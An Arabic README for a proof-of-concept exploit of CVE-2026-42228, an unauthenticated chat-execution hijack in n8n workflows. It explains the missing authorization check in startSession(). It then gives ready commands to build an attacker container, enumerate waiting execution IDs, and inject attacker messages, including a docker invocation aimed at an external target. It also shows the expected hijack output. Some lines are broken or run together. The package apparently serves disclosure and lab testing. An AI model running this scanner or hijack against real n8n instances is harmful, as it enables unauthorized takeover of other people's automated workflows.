
إثبات مفهوم لاستغلال CVE-2026-42228، وهي ثغرة اختطاف تنفيذ الدردشة غير المصادق عليها في n8n، مع نصوص برمجية آلية للمسح والهجوم.
CVE: CVE-2026-42228
الخطورة: عالية
المتأثر: n8n < 1.123.32
تم الإصلاح في: n8n 1.123.32 / 2.17.4 / 2.18.1
يقبل chat-service.ts :: startSession() معرّف تنفيذ (executionId) من سلسلة استعلام
WebSocket ويتحقق فقط من وجود التنفيذ في قاعدة البيانات. ولا يتحقق أبداً من
أن المتصل مخوّل للوصول إلى ذلك التنفيذ.
يمكن لمهاجم غير مصادق يعرف (أو يمكنه تعداد) معرّف تنفيذ رقمي صالح لتنفيذ في حالة الانتظار أن:
/chat دون بيانات اعتماد.المتطلبات المسبقة:
waiting.chmod +x exploit.sh
./exploit.sh setup
يقوم هذا بسحب n8nio/n8n:1.123.22 (آخر إصدار متأثر)، وبناء صورة المهاجم،
وتشغيل الهدف الضعيف على http://localhost:5678.
http://localhost:5678 وأكمل معالج الإعداد (أي بيانات اعتماد).افتح رابط الدردشة العام المعروض في عقدة Chat Trigger وأرسل رسالة. سيدخل التنفيذ في حالة الانتظار، متوقفاً بانتظار رد الدردشة التالي.
./exploit.sh scan
# أو حدد نطاقاً:
./exploit.sh scan 1 500
المخرجات المتوقعة عند العثور على تنفيذ ضعيف:
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# أو بحمولة مخصصة:
./exploit.sh attack 7 "custom injected message"
بالعودة إلى محرر n8n، يستأنف سير العمل بالرسالة المحقونة من المهاجم بدلاً من إدخال المستخدم الشرعي.
# بناء صورة المهاجم
docker build -t n8n-chat-hijack-poc .
# الفحص (الارتباط بشبكة المختبر المشتركة)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# مهاجمة تنفيذ محدد
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# ضد هدف خارجي (بدون الحاجة لعلم الشبكة)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
يوقف الحاويات ويزيل وحدات التخزين (بما في ذلك قاعدة بيانات SQLite).
| الملف | الوصف |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | PoC مستقل بلغة Python |
Dockerfile | صورة حاوية المهاجم |
docker-compose.yml |
| مختبر كامل: n8n ضعيف + مهاجم |
exploit.sh | سكربت مساعد للعمليات الشائعة |